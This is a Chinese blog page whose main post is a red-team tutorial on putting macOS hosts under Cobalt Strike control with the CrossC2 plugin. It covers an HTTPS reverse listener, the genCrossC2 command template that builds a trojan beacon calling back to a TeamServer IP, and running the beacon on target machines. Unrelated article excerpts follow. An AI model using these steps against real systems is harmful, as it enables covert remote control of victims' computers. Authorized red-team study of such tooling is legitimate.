当前位置： 首页 > news >正文

【攻防实战】MacOS系统上线Cobalt Strike

news 来源：原创 2025/6/30 12:56:17

如果巅峰留不住，那就重走来时路

前言

目前在一些攻防项目中遇到的互联网大厂，很多员工使用的都是MacOS主机。研究过程中发现网上这方面分享比较少，这里记录分享一下。

插件安装

配置cna基础文件，注意路径名不能包含中文或特殊字符，这里我自己的CrossC2和bin的配置是这样，一定要确保这个路径和文件名是对应的，并且文件有可执行的权限。

加载CrossC2的cna插件，加载成功会看到插件

生成上线马

创建一个https的监听器，端口任意。这里需要注意，CrossC2上线实际也是通过创建的监听器上线，并且由于一些限制，只能是https的监听器

服务端开启监听 https 类型的beacon

windows/beacon_https/reverse_https

使用CrossC2插件生成一个木马。端口可任意设置，填.cobaltstrike.beacon_keys文件的绝对路径，选择系统为MacOS木马，监听器选择刚才创建的https监听器，最后是生成可执行文件的目录和文件名。

这里注意还有一个地方需要注意，就是把自己服务端cs目录下的.cobaltstrike.beacon_keys文件放到和genCrossC2同级目录下，不然会遇到key错误的提示。

图形化

生成木马Beacon

命令行

命令如下

./genCrossC2.Linux [TeamServer的IP] [HTTPS监听器端口] [.cobaltstrike.beacon_keys文件路径] [自定义的动态链接库文件] [运行Beacon的平台] [运行Beacon的平台位数] [输出的结果文件]

linux


win

此时可以通过执行tmp目录下生成的可执行文件上线，或者利用插件生成命令执行上线，将生成的Beacon放到目标机器上去执行即可

注意生成命令这里端口要和刚才设置的对应，才能请求到；并且只有生成相应系统的payload后，比如Linux、MacOS才能选择该系统的监听器

成功上线

查看cs成功上线

并且可以直接执行命令

声明

文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。

免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。

转载声明：儒道易行 拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。

相关文章：

【攻防实战】MacOS系统上线Cobalt Strike

如果巅峰留不住，那就重走来时路 前言 目前在一些攻防项目中遇到的互联网大厂，很多员工使用的都是MacOS主机。研究过程中发现网上这方面分享比较少，这里记录分享一下。 插件安装 配置cna基础文件，注意路径名不能包含中文或特殊…...

编程日记 2025/6/30 12:56:17

基于Resnet-34的树叶分类（李沐深度学习基础竞赛）

目录 一，数据集介绍 1.1 数据集下载 1.2 数据集介绍 二，Resnet-34介绍 三，模型训练 四，模型预测 五，测试结果 5.1 测试集结果 5.2 预测结果 5.3 总结 一，数据集介绍 1.1 数据集下载 本数据集下载…...

编程日记 2025/6/30 11:44:00

PCB设计实践（二十三）什么是阻抗匹配，需要做啥

PCB设计中的阻抗匹配是高速数字电路、射频通信、信号完整性等领域的核心技术，其重要性贯穿从基础理论到复杂系统设计的全流程。本文将从工程实践角度深入探讨阻抗匹配的本质原理、应用场景、设计方法、常见误区及解决方案，全面解析这一影响现代电子设备性…...

编程日记 2025/6/30 11:49:59

网络世界的“变色龙“：动态IP如何重构你的数据旅程？

在深秋的下午调试代码时，我偶然发现服务器日志中出现异常登录记录——IP地址显示为某个境外数据中心。更有趣的是，当我切换到公司VPN后，这个"可疑IP"竟自动消失在了防火墙监控列表中。这个瞬间让我意识到：现代网络架构中…...

编程日记 2025/6/30 11:32:14

Chrome浏览器捕获hover元素样式

–前言– 某些元素，只有hover上去才会看到触发效果，但是鼠标移开就找不到element元素，导致无法调试样式。下属两种方案可参考： 文章目录 一、方式1：通过class伪类触发二、方式2：通过断点调试2.1控制台切换到…...

编程日记 2025/6/30 1:14:05

嵌入式自学第二十五天（5.21）

&#xff08;1&#xff09;二进制文件读写操作&#xff1a; 例&#xff1a; #include<stdio.h> int main() { FILE *fp fopen("a.out","r"); FILE *fp1 fopen("app","w"); if(NULL fp || NULL fp1) { …...

编程日记 2025/6/30 11:33:25

golang库源码学习——Pond，小而精的工作池库

pond 是一个轻量级的 Goroutine 池库&#xff0c;用于高效管理并发任务。它提供了灵活的配置选项和多种策略&#xff0c;适合处理高并发场景。 GitHub - alitto/pond at v1 一、特点&#xff1a; 1.轻量级 pond 的代码库非常精简&#xff0c;它的V1版本仅有四个业务文件&#…...

编程日记 2025/6/30 12:01:40

Microbiome医口经典思路：退烧药物代谢过程如何进行多组学分析？

乙酰氨基酚&#xff08;APAP&#xff09;&#xff0c;俗称扑热息痛&#xff0c;是应用最广泛的镇痛和解热药物之一。以往的研究主要集中在分离APAP降解菌株&#xff0c;了解其降解代谢途径。但微生物群与对乙酰氨基酚之间的相互作用、对乙酰氨基酚降解基因的分布特征以及对乙酰…...

编程日记 2025/6/27 23:36:07

微信小程序AI大模型流式输出实践与总结

背景 让Cursor生成小程序中大模型调用内容回复的流式输出时一直有问题&#xff0c;参考整理此文章。 参考原文&#xff1a;https://blog.csdn.net/weixin_47684422/article/details/145859543 一、什么是流式传输&#xff1f; 流式传输&#xff08;Streaming&#xff09;指的…...

编程日记 2025/6/27 23:39:36

操作系统理解（xv6）

xv6操作系统项目复习笔记 宗旨&#xff1a;只记大框架&#xff0c;不记细节&#xff0c;没有那么多的时间 一、xv6的页表是如何搭建的&#xff1f; xv6这个项目中&#xff0c;虚拟地址用了39位&#xff08;27位12位&#xff08;物理内存page偏移地址&#xff09;&#xff09…...

编程日记 2025/6/27 22:50:31

2024CCPC辽宁省赛 个人补题 ABCEGJL

Dashboard - 2024 CCPC Liaoning Provincial Contest - Codeforces 过题难度 B A J C L E G 铜奖 4 953 银奖 6 991 金奖 8 1664 B&#xff1a; 模拟题 // Code Start Here string s;cin >> s;reverse(all(s));cout << s << endl;A&#xff1a;很…...

编程日记 2025/6/27 23:00:45

Sentinel原理与SpringBoot整合实战

前言 随着微服务架构的广泛应用&#xff0c;服务和服务之间的稳定性变得越来越重要。在高并发场景下&#xff0c;如何保障服务的稳定性和可用性成为了一个关键问题。阿里巴巴开源的Sentinel作为一个面向分布式服务架构的流量控制组件&#xff0c;提供了从流量控制、熔断降级、…...

编程日记 2025/6/27 23:13:33

Python 训练营打卡 Day 31

文件的规范拆分和写法 把一个文件&#xff0c;拆分成多个具有着独立功能的文件&#xff0c;然后通过import的方式&#xff0c;来调用这些文件。这样具有几个好处&#xff1a; 可以让项目文件变得更加规范和清晰可以让项目文件更加容易维护&#xff0c;修改某一个功能的时候&a…...

编程日记 2025/6/29 5:43:16

vue+srpingboot实现多文件导出

项目场景&#xff1a; vuesrpingboot实现多文件导出 解决方案&#xff1a; 直接上干货 <el-button type"warning" icon"el-icon-download" size"mini" class"no-margin" click"exportSelectedFiles" :disabled"se…...

编程日记 2025/6/30 12:14:00

学习 Pinia 状态管理【Plan - May - Week 2】

一、定义 Store Store 由 defineStore() 定义&#xff0c;它的第一个参数要求独一无二的id import { defineStore } from piniaexport const useAlertsStore defineStore(alert, {// 配置 })最好使用以 use 开头且以 Store 结尾 (比如 useUserStore&#xff0c;useCartStore&a…...

编程日记 2025/6/27 17:19:40

linux中cpu内存浮动占用，C++文件占用cpu内存、定时任务不运行报错(root) PAM ERROR (Permission denied)

文章目录 说明部署文件准备脚本准备部署g++和编译脚本使用说明和测试脚本批量部署脚本说明执行测试定时任务不运行报错(root) PAM ERROR (Permission denied)报错说明处理方案说明 我前面已经弄了几个版本的cpu和内存占用脚本了，但因为都是固定值，所以现在重新弄个用C++编写的…...

编程日记 2025/6/27 23:38:14

数据湖和数据仓库的区别

在当今数据驱动的时代&#xff0c;企业需要处理和存储海量数据。数据湖与数据仓库作为两种主要的数据存储解决方案&#xff0c;各自有其独特的优势与适用场景。本文将客观详细地介绍数据湖与数据仓库的基本概念、核心区别、应用场景以及未来发展趋势&#xff0c;帮助读者更好地…...

编程日记 2025/6/30 1:25:48

OceanBase 开发者大会，拥抱 Data*AI 战略，构建 AI 数据底座

5 月 17 号以“当 SQL 遇见 AI”为主题的 OceanBase 开发者大会在广州举行&#xff0c;因为行程的原因未能现场参会&#xff0c;仍然通过视频直播观看了全部的演讲。总体来说&#xff0c;这届大会既有对未来数据库演进方向的展望&#xff0c;也有 OceanBase 新产品的发布&#…...

编程日记 2025/6/27 23:32:12

鸿蒙HarmonyOS最新的组件间通信的装饰器与状态组件详解

本文系统梳理了鸿蒙&#xff08;HarmonyOS&#xff09;ArkUI中组件间通信相关的装饰器及状态组件的使用方法&#xff0c;重点介绍V2新特性&#xff0c;适合开发者查阅与实践。 概述 鸿蒙系统&#xff08;HarmonyOS&#xff09;ArkUI提供了丰富的装饰器和状态组件&#xff0c;用…...

编程日记 2025/6/29 0:43:18

OneDrive登录，账号跳转问题

你的OneDrive登录无需密码且自动跳转到其他账号&#xff0c;可能是由于浏览器或系统缓存了登录信息&#xff0c;或存在多个账号的关联。以下是分步解决方案&#xff1a; 方案三对我有效。 强制手动输入密码 访问登录页面时&#xff1a; 在浏览器中打开 OneDrive网页版。 点击…...

编程日记 2025/6/29 16:51:21

9-码蹄集600题基础python篇

题目如上图所示。 这一题&#xff0c;没什么难度。 代码如下&#xff1a; def main():#code here# x,amap(int,input("").split(" "))# sum((1/2)*(a*x(ax)/(4*a)))# print(f"{sum:.2f}")x,amap(int,input().split())print(f"{((1/2)*(a*…...

编程日记 2025/6/29 2:36:48

CAU人工智能class3 优化器

优化算法框架 优化思路 随机梯度下降 随机梯度下降到缺点&#xff1a; SGD 每一次迭代计算 mini-batch 的梯度&#xff0c;然后对参数进行更新&#xff0c;每次迭代更新使用的梯度都只与本次迭代的样本有关。 因为每个批次的数据含有抽样误差&#xff0c;每次更新可能并不会 …...

编程日记 2025/6/27 23:07:58

学习 Android（十一）Service

简介 在 Android 中&#xff0c;Service 是一种无界面的组件&#xff0c;用于在后台执行长期运行或跨进程的任务&#xff0c;如播放音乐、网络下载或与远程服务通信 。Service 可分为“启动型&#xff08;Started&#xff09;”和“绑定型&#xff08;Bound&#xff09;”两大…...

编程日记 2025/6/29 1:59:25

SpringAI开发SSE传输协议的MCP Server

SpringAI 访问地址&#xff1a;Spring AI ‌ Spring AI‌是一个面向人工智能工程的应用框架&#xff0c;由Spring团队推出&#xff0c;旨在将AI能力集成到Java应用中。Spring AI的核心是解决AI集成的根本挑战&#xff0c;即将企业数据和API与AI模型连接起来‌。 MCP…...

编程日记 2025/6/28 21:57:07

【泛微系统】后端开发Action常用方法

后端开发Action常用方法 代码实例经验分享：代码实例 经验分享： 本文分享了后端开发中处理工作流Action的常用方法，主要包含以下内容：1) 获取工作流基础信息，如流程ID、节点ID、表单ID等；2) 操作请求信息，包括请求紧急程度、操作类型、用户信息等；3) 表单数据处理，展示…...

编程日记 2025/6/27 15:40:11

如何成为更好的自己？

成为更好的自己是一个持续成长的过程&#xff0c;需要结合自我认知、目标规划和行动力。以下是一些具体建议&#xff0c;帮助你逐步提升&#xff1a; 1. 自我觉察&#xff1a;认识自己 反思与复盘&#xff1a;每天花10分钟记录当天的决策、情绪和行为&#xff0c;分析哪些做得…...

编程日记 2025/6/29 20:10:14

精益数据分析（74/126）：从愿景到落地的精益开发路径——Rally的全流程管理实践

精益数据分析&#xff08;74/126&#xff09;&#xff1a;从愿景到落地的精益开发路径——Rally的全流程管理实践 在创业的黏性阶段&#xff0c;如何将抽象的愿景转化为可落地的产品功能&#xff1f;如何在快速迭代中保持战略聚焦&#xff1f;今天&#xff0c;我们通过Rally软…...

编程日记 2025/6/27 23:18:33

网站制作公司哪家强？(2025最新版)

在数字化时代&#xff0c;一个优质的网站是企业展示自身实力、拓展业务渠道的重要工具。无论是初创企业还是大型集团&#xff0c;都需要一个功能强大、设计精美的网站来吸引客户、提升品牌形象。但面对市场上众多的网站制作公司&#xff0c;如何选择一家靠谱的合作伙伴呢&#…...

编程日记 2025/6/27 13:57:30

23种经典设计模式（GoF设计模式）

目录 &#x1f340; 创建型设计模式&#xff08;5种&#xff09; 1. 单例模式&#xff08;Singleton&#xff09; 2. 工厂方法模式&#xff08;Factory Method&#xff09; 3. 抽象工厂模式&#xff08;Abstract Factory&#xff09; 4. 建造者模式&#xff08;Builder&am…...

编程日记 2025/6/27 11:04:43

深入解析Dify：从架构到应用的全面探索

文章目录 引言一、Dify基础架构1.1 架构概述1.2 前端界面1.3 后端服务1.4 数据库设计 二、Dify核心概念2.1 节点&#xff08;Node&#xff09;2.2 变量&#xff08;Variable&#xff09;2.3 工作流类型 三、代码示例3.1 蓝图注册3.2 节点运行逻辑3.3 工作流运行逻辑 四、应用场…...

编程日记 2025/6/27 23:03:06

电子电路：怎么理解放大电路中集电极电流Ic漂移？

如果放大电路中集电极电阻RC因为温度或老化而阻值变化&#xff0c;Vce Vcc - IcRc - IcRc&#xff0c;这会改变工作点&#xff0c;导致集电极的电流漂移。 IC漂移的定义&#xff1a;集电极电流随时间、温度等变化。影响IC的因素&#xff1a;β、IB、VBE、温度、电源电压、元件…...

编程日记 2025/6/29 5:20:37

【疑难杂症】Mysql 无报错 修改配置文件后服务启动不起来 已解决|设置远程连接

我修改配置后&#xff0c;服务无法启动可以试试用记事本打开后另存为&#xff0c;格式选择ANSI&#xff0c;然后重新启动mysql试试 设置运行远程、 1、配置my.ini文件 在[mysqld]下 添加bind-address0.0.0.0 2、设置root权限 使用MySql命令行执行&#xff0c; CREATE USER…...

编程日记 2025/6/27 23:08:45

Java基础 5.21

1.多态注意事项和细节讨论 多态的前提是&#xff1a;两个对象&#xff08;类&#xff09;存在继承关系 多态的向上转型 本质&#xff1a;父类的引用指向了子类的对象语法&#xff1a;父类类型 引用名 new 子类类型();特点&#xff1a;编译类型看左边&#xff0c;运行类型看…...

编程日记 2025/6/27 22:50:42

探索Puter：一个基于Web的轻量级“云操作系统”

在云计算与Web技术高度融合的今天，开发者们不断尝试将传统桌面体验迁移到浏览器中。近期，GitHub上一个名为Puter的开源项目吸引了社区的关注。本文将带你深入解析Puter的设计理念、技术架构与使用场景，探索它如何通过现代Web技术重构用户的“云端桌面”。 一、项目概览 Put…...

编程日记 2025/6/27 18:05:12

Java SpringBoot 项目中 Redis 存储 Session 具体实现步骤

目录 一、添加依赖二、配置 Redis三、配置 RedisTemplate四、创建控制器演示 Session 使用五、启动应用并测试六、总结 Java 在 Spring Boot 项目中使用 Redis 来存储 Session&#xff0c;能够实现 Session 的共享和高可用&#xff0c;特别适用于分布式系统环境。以下是具体的实…...

编程日记 2025/6/27 23:18:34

电商项目-商品微服务-规格参数管理，分类与品牌管理需求分析

本文章介绍&#xff1a;规格参数管理与分类与品牌管理的需求分析和表结构的设计。 一、规格参数管理 规格参数模板是用于管理规格参数的单元。规格是例如颜色、手机运行内存等信息&#xff0c;参数是例如系统&#xff1a;安卓&#xff08;Android&#xff09;后置摄像头像素&…...

编程日记 2025/6/27 22:50:57

Java 定时任务中Cron 表达式与固定频率调度的区别及使用场景

Java 定时任务&#xff1a;Cron 表达式与固定频率调度的区别及使用场景 一、核心概念对比 1. Cron 表达式调度 定义&#xff1a;基于日历时间点的调度&#xff0c;通过 秒 分 时 日 月 周 年 的格式定义复杂时间规则。时间基准&#xff1a;绝对时间点&#xff08;如每天 12:…...

编程日记 2025/6/27 23:22:18

2025年- H39-Lc147 --394.字符串解码（双栈，递归）--Java版

1.题目描述 2.思路 可以用递归也可以用双栈&#xff0c;这边用栈。 首先先创建一个双栈&#xff0c;一个栈存数字&#xff08;interger&#xff09;&#xff0c;另一个栈存字符&#xff08;character&#xff09;。设置数字临时变量num&#xff0c;设置字母临时变量curString在…...

编程日记 2025/6/29 7:24:30

学编程对数学成绩没帮助?

今天听到某机构直播说“学编程对数学成绩没帮助&#xff0c;如果想提高数学成绩那就单独去学数学”&#xff0c;实在忍不住要和各位家长聊聊我的思考&#xff0c;也欢迎各位家长评论。 恰在此时我看见了一道小学6年级的数学题如下&#xff0c;虽然题不难&#xff0c;但立刻让我…...

编程日记 2025/6/29 6:02:12

现代计算机图形学Games101入门笔记(十九)

光场 在近处画上图像&#xff0c;VR的效果。 任何时间任何位置看到的图像都不一样&#xff0c;是不是就是一个世界了。 光场就是任何一个位置往任何一个方向去的光的强度 知道光场就能知道这个物体长什么样子。 光线可以用一个点和一个方向确定。 也可以用2个点确定一条光线。 …...

编程日记 2025/6/27 23:22:11

STM32单片机GUI系统1 GUI基本内容

目录 一、GUI简介 1、emWin 2、LVGL (Light and Versatile Graphics Library) 3、TouchGFX 4、Qt for Embedded 5、特性对比总结 二、LVGL移植要求 三、优化LVGL运行效果方法 四、LVGL系统文件 一、GUI简介 在嵌入式系统中&#xff0c;emWin、LVGL、TouchGFX 和 Qt 是…...

编程日记 2025/6/26 23:14:40

Prometheus+Grafana实现对服务的监控

PrometheusGrafana实现对服务的监控 前言&#xff1a;PrometheusGrafana实现监控会更加全面&#xff0c;监控的组件更多 Prometheus官网 https://prometheus.io/docs/prometheus/latest/getting_started/ Grafana官网 https://grafana.com/docs/ 一、安装PrometheusGrafana 这…...

编程日记 2025/6/27 23:22:34

hook原理和篡改猴编写hook脚本

hook原理&#xff1a; hook是常用于js反编译的技术&#xff1b;翻译就是钩子&#xff0c;他的原理就是劫持js的函数然后进行篡改 一段简单的js代码 &#xff1a;这个代码是顺序执行的 function test01(){console.log(test01)test02() } function test02(){console.log(02)tes…...

编程日记 2025/6/27 22:50:56

Sign签证绕过

Sign的简介 Sign是指一种类似于token的东西 他的出现主要是保证数据的完整性&#xff0c;防篡改 就是一般的逻辑是 sign的加密的值和你输入的数据是相连的&#xff08;比如sign的加密是使用输入的数据的前2位数字配合SHA1 等这样的&#xff09; 绕过 &#xff1a;碰运气可以…...

编程日记 2025/6/27 13:11:11

【Vue篇】重剑无锋：面经PC项目工程化实战面经全解

目录 引言 一、项目功能演示 1. 目标 2. 项目收获 二、项目创建目录初始化 vue-cli 建项目 三、ESlint代码规范及手动修复 1. JavaScript Standard Style 规范说明 2. 代码规范错误 3. 手动修正 四、通过eslint插件来实现自动修正 五、调整初始化目录结构 1. 删除…...

编程日记 2025/6/30 12:29:23

JVM参数详解与实战案例指南(AI)

JVM参数详解与实战案例指南 一、JVM参数概述与分类 JVM参数是控制Java虚拟机运行时行为的关键配置项&#xff0c;合理设置这些参数可以显著提升应用性能。根据功能和稳定性&#xff0c;JVM参数主要分为三类&#xff1a; 标准参数&#xff1a;所有JVM实现都必须支持&#xff…...

编程日记 2025/6/27 22:53:52

C++通过空间配置器实现简易String类

C实现简易String类 在C中&#xff0c;使用空间配置器&#xff08;allocator&#xff09;实现自定义string类需要管理内存分配、释放及对象构造/析构。 #include <memory> #include <algorithm> #include <cstring> #include <stdexcept> #include &l…...

编程日记 2025/6/29 16:35:50

MyBatis：简化数据库操作的持久层框架

1、什么是Mybatis？ MyBatis 本是apache的一个开源项目iBatis, 2010年这个项目由 apachesoftwarefoundation 迁移到了google code，由谷歌托管，并且改名为MyBatis 。 2013年11月迁移到Github。 iBATIS一词来源于“internet”和“abatis”的组合，是一个基于Java的持久层框…...

编程日记 2025/6/29 17:23:11

Spring Boot集成Spring AI与Milvus实现智能问答系统

在Spring Boot中集成Spring AI与Milvus实现智能问答系统 引言 随着人工智能技术的快速发展&#xff0c;越来越多的企业开始探索如何将AI能力集成到现有系统中。本文将介绍如何在Spring Boot项目中集成Spring AI和向量数据库Milvus&#xff0c;构建一个高效的智能问答系统。 …...

编程日记 2025/6/27 22:51:11

软件工程（六）：一致性哈希算法

哈希算法 定义 哈希算法是一种将任意长度的输入&#xff08;如字符串、文件等&#xff09;转换为固定长度输出的算法&#xff0c;这个输出称为“哈希值”或“摘要”。 常见的哈希算法 哈希算法哈希位数特点MD5128位快速&#xff0c;但已不安全SHA-1160位安全性提高&#xf…...

编程日记 2025/6/27 22:50:38